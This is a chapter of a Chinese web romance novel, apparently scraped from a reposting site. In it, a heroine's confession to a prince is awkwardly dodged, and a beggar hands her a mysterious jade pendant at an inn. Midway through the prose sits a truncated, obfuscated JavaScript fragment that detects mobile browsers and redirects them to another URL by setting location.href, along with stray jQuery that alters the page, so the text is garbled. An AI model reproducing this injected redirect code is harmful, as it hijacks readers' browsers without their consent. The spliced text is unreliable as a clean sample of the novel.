43. 第四十三章

作品:《靠种地养了个王爷

    姜禾听完这话,思维空白了一瞬,紧接着,脑子里轰的一声,像是有人在里面放了一场盛大的烟花,酥得她起了一层鸡皮疙瘩。


    这人是去哪家恋爱学院进修过?还是偷偷背了什么撩妹话术?


    但不可否认,姜禾确实被撩到了,被撩得连灵魂都在颤抖。


    这种“我卑劣但是我真的不能没有你”的超强占有欲发言,在姜禾这里,简直是教科书级别的完美回答好吗。


    姜禾内心疯狂尖叫,半晌,才强撑着快要罢工的理智,闷声唤道:“萧昫……”


    “嗯?”


    姜禾在他怀里动了动,道:“你好会撩人啊。”


    萧昫沉默了两秒,像是在消化这句话的意思。片刻后,他垂眸看她,认真道:“我说的都是真话。”


    “所以……”姜禾盯着他的眼睛,小心翼翼地问:“我可以把这……当做是告白吗?”


    萧昫微怔:“告白是什么意思?”


    “告白的意思是……”姜禾认真地看着他的眼睛,一字一顿道:“萧昫,我喜欢你。”


    说这句话的时候,姜禾的心跳得既快又重,一下一下,让她的呼吸都跟着不自觉急促起来。


    萧昫没有说话,深邃的眸子一瞬不瞬地凝视着她,目光里有震惊,有难以置信,还有某种她读不懂的复杂情绪。


    姜禾在等一个答案。


    一个她觉得呼之欲出、毫无疑问、本应该脱口而出的答案。


    可等了半晌,也没等到他的回应。


    姜禾原本仰视着他的眼睛,可随着气氛逐渐焦灼,她的目光像是有了自己的意识,不由自主地开始向下移动,最后,落在了他的双唇之间。


    那唇形生得极为好看,唇线分明,此时因为主人的紧绷而微微抿着,透着一种冷冽而禁欲的诱惑。


    姜禾的大脑此刻已经彻底罢工,所有的理智和为数不多的矜持都化为灰烬。


    耳旁只剩下擂鼓般的心跳声,一声声盖过马车的咕噜声。


    姜禾像被蛊惑了一般,身子不由自主地前倾,像是想要去吻他。


    就在她的唇即将碰到他的那一刻……


    萧昫却像突然惊醒一般,猛地偏过了头。


    姜禾收势不及,被他的头发糊了一脸,甚至还有几缕钻进了她微张的嘴里。


    姜禾:“???”


    姜禾怎么也没想到他会在这个时候躲开,整个人都愣住了,半张脸埋在他的发间,保持着那个撅嘴前倾的姿势,僵在原地。


    好几秒后,大脑才终于反应过来似的,一把扯开糊在脸上的发丝,慢慢直起了身。


    姜禾只觉一股热意从脚底窜起,瞬间传遍全身。


    姜禾:“……”


    她刚才到底在干什么啊?


    主动说喜欢人家也就算了,居然又未经询问,擅自想要吻他。


    关键他这次还躲开了!


    躲开了啊!


    啊啊啊!


    尴尬!


    太尴尬了!


    这辈子加上辈子加上上辈子,都没这么尴尬过。


    姜禾觉得自己这张老脸算是彻底丢光了,索性破罐子破摔道:“所以……我的告白……”


    “是被拒绝了吗?”


    萧昫张了张嘴,似是想说什么。


    只是没等他说出声来,马车在这个时候突然猛地停了下来。


    萧昫下意识把姜禾护在自己身后,沉声问道:“出了何事?”


    郑安的声音从车外传来:“王爷,前面山路塌方,乱石滚落挡住了去路。属下已经派人前去清理,但天色将晚,怕是要等到明日才能通行。前面有家驿站,不如先歇歇脚,明日再赶路?”


    萧昫应道:“去驿站。”


    顿了顿,又吩咐道:“传令下去,今夜加派人手守夜,务必提高警惕。”


    “是。”


    郑安的脚步声渐渐远去。


    萧昫紧绷的神经却丝毫没有松懈。


    骨鸣案的事情虽然暂时告一段落,但那些费劲心思想要置他于死地的人未必会就此罢休。


    越是临近京畿,对方能调动的人手越多,布局只会愈发周密。


    这最后一段路,反而是最危险的。


    所以这几日萧昫几乎不敢有片刻松懈,生怕有刺客埋伏。


    现下遇上山路塌方,虽说可能是天灾,但也不排除有人故意为之,想趁乱行刺。


    萧昫心里盘算着如何防备,等反应过来再看向姜禾时,却发现她脸色红一阵白一阵的,神情尴尬得像是恨不得立刻消失。


    他想起方才的事,喉结滚动了一下,正要开口解释什么。


    姜禾却根本没给他说话的机会,匆匆掀开车帘,头也不回地跳下了马车。


    萧昫:“……”


    姜禾下了马车,一眼就看见土生,立马招呼了一声:“土生,有水吗?给我喝点。”


    土生刚从另一辆马车上下来,听见呼唤忙递过水囊,关切地问道:“阿姐这是怎么了?瞧着脸色不大好。”


    姜禾面不改色地扯谎:“马车里太闷了,有些憋得慌,出来透透气就好。”


    说着仰头灌了一大口水,凉水顺着喉咙滑下去,总算让她躁动的思绪平复了些许。


    余光瞥见萧昫掀开车帘,正要下车,姜禾立马转身,脚步匆匆地往驿站方向走去。


    土生看着她的背影,挠了挠头,又看了看从马车上下来的萧昫。


    总觉得……


    气氛有点奇怪?


    驿站不大,却也算干净整洁。


    姜禾跟着店小二往里走时,听见两个伙计正在闲聊。


    “这天也太热了,明儿个咱们去河边游个水吧?”


    “行啊,听说好些人都去了。不过你可得小心些,别到深水的地方去。”


    “怕什么,官府都派人督着呢,安全得很。”


    两人见有客人来了,连忙收了闲话,笑脸相迎。


    姜禾让帮忙备了桶凉水送到房间,然后头也不回地跟着小厮上楼去了,直到晚饭时分,才出现在楼下。


    驿站大堂里已经摆好了几桌饭菜,众人三五成群的围坐在一起,有说有笑,好不热闹。


    唯有靠里那桌,只萧昫一人独坐。


    平日里都是他和姜禾两个同桌用饭,这会儿却只他一人,倒显得有些孤零零的。


    姜禾看了他一眼,接着径直走到王氏旁边,道:“王婶,我坐这儿成吗?”


    王氏闻言,下意识看了萧昫一眼,才点了点头,道:“快坐快坐,跟婶子还客气啥。”


    姜禾坐下后,话也不说,闷头扒饭。


    郑安等人面面相觑,似都察觉到气氛不对劲。


    郑安用胳膊肘碰了碰身旁的周青,压低声音问道:“他们这是怎么了?”


    周青摇摇头,同样小声道:“不知道,看着像是闹别扭了。”


    宋暮山却啃着馒头,幸灾乐祸道:“你们家王爷这是要打一辈子光棍的节奏啊。”


    话音刚落,一道冷飕飕的目光扫了过来。


    众人不敢再多言,埋头吃饭。


    整个大堂静得诡异,只余碗筷碰撞的细微声响。


    这时,一个衣衫褴褛的老乞丐走了进来,目光扫过堂上众人,最后落在了姜禾身上。


    他颤巍巍地走到姜禾跟前,煞有介事地盯着姜禾的眉眼,啧啧称奇道:“姑娘这面相贵不可言,可眉间怎生带着死气?老朽活了大半辈子,还真是头一回见。”


    姜禾循声望去。


    只见这老者衣衫褴褛,手里端着个豁了口的破碗,整个人面黄肌瘦,一副常年吃不饱饭的样子。


    姜禾道:“老伯,我不信命,也不看相。如果您要是想讨口饭吃的话,我可以让小二给您准备些吃食。”


    老乞丐哈哈一笑,冲她拱了拱手,道:“多谢姑娘。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17348168|193470||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >老乞丐跟着店小二去了柜台,等食物打包好了,却没有立刻离开,反而又折返回来,凑到姜禾跟前,道:“老朽与姑娘有缘,有几句话想叮嘱姑娘。姑娘若不介意,可否附耳过来?”


    姜禾道:“老伯但说无妨。”


    老乞丐看了看周围,压低声音道:“不属于这世间的生魂,终究要被这方天地排斥。姑娘,你的命数不该在此处,若有一日遭逢劫数,可带此物去临川城南的那座无名古观寻我。”


    说罢,他从怀中取出一物,轻轻放在姜禾面前的桌上,随即转身离去,眨眼间便不见了踪影。


    姜禾低头看去,只见桌上放着一枚通体雪白的玉佩,质地细腻得连她这个外行都能一眼看出是价值连城之物。


    姜禾:“???”


    姜禾实在想不明白,为什么他手里有这么好的东西,却沦落到要饭为生?


    不过她也没太放在心上,只当是江湖骗子的惯用伎俩。


    冯小满凑过来,皱着眉道:“阿姐,快些把这东西扔了吧。那人不知什么来历,脏兮兮的,万一有什么脏病,再传给您就不好了。”


    姜禾思索片刻,用手帕将玉佩包了起来,道:“应该不会。我瞧那老人虽然衣衫破旧,但精神矍铄,走路虎虎生风,瞧着是个健康的。这玉佩……就先留着吧。”


    土生在一旁愤愤不平:“阿姐好心给他饭吃,他竟然诅咒阿姐有什么劫数,真是坏透了!”


    姜禾却道:“无妨,我们要相信科学。”


    众人:“???”


    相信什么?


    什么是科学?


    姜禾看着大家一脸茫然的样子,这才察觉失言,连忙找补道:“嗯……我是说,这种江湖骗子惯会装神弄鬼,大概是想放长线钓大鱼,等我真去找他了,再敲诈一笔。不用理会就是了。”


    众人纷纷点头。


    唯独萧昫看着姜禾手里的玉佩,眉头微皱。


    用完晚饭,众人各自散去。


    姜禾回到房间,简单梳洗后,便躺在床上发呆。


    脑海里不断浮现出白天马车里的那一幕。


    越想越觉得丢脸。


    她翻了个身,把脸埋进枕头里,闷声道:“姜禾啊姜禾,你可真出息!怎么一见到萧昫那张脸,就跟被下了降头似的,被迷惑一次也就算了,次次都栽在他手里,这就有点过分了啊!”


    还说什么“萧昫,我喜欢你”,天哪,现在光是想想,她都尴尬得能用脚趾头抠出个三室一厅来。


    更要命的是,她竟然又想强吻人家,想想萧昫当时那样,躲得比兔子还快,生怕被人占了便宜一样。


    呜呜呜,要命啊,不想活了,现在死一死还来得及吗。


    正懊恼着,房门突然被人敲响。


    “姜禾?”是萧昫的声音。


    姜禾没出声。


    萧昫又敲了几下。


    “姜禾,你在吗?”


    似是见里面毫无反应,萧昫问这话的时候,声音里带着几分急切。


    但姜禾依旧选择装死。


    外面安静了片刻。


    不多久,敲门声再次响起,伴随着萧昫更加急切的声音:“姜禾?”


    姜禾:“……”


    这么锲而不舍的吗?


    姜禾心里慌得一批。


    照这个架势,再不出声,萧昫估计就要破门而入了。


    但是姜禾现在真的一丁点都不想见到萧昫,别说和他面对面了,就光是听到他的声音,她脑子里就控制不住地回放白天那些丢人的画面。


    眼看着门外的动静越来越大,姜禾一股脑从床上爬了起来,蹑手蹑脚地走到窗边,推开窗户就往外跳。


    幸好这是二楼,高度不算太惊人,且下面还有个屋檐可以借力。


    姜禾贴着檐角,手脚并用地滑了下去。


    刚落地,身后就传来“砰”的一声——


    萧昫踹门了。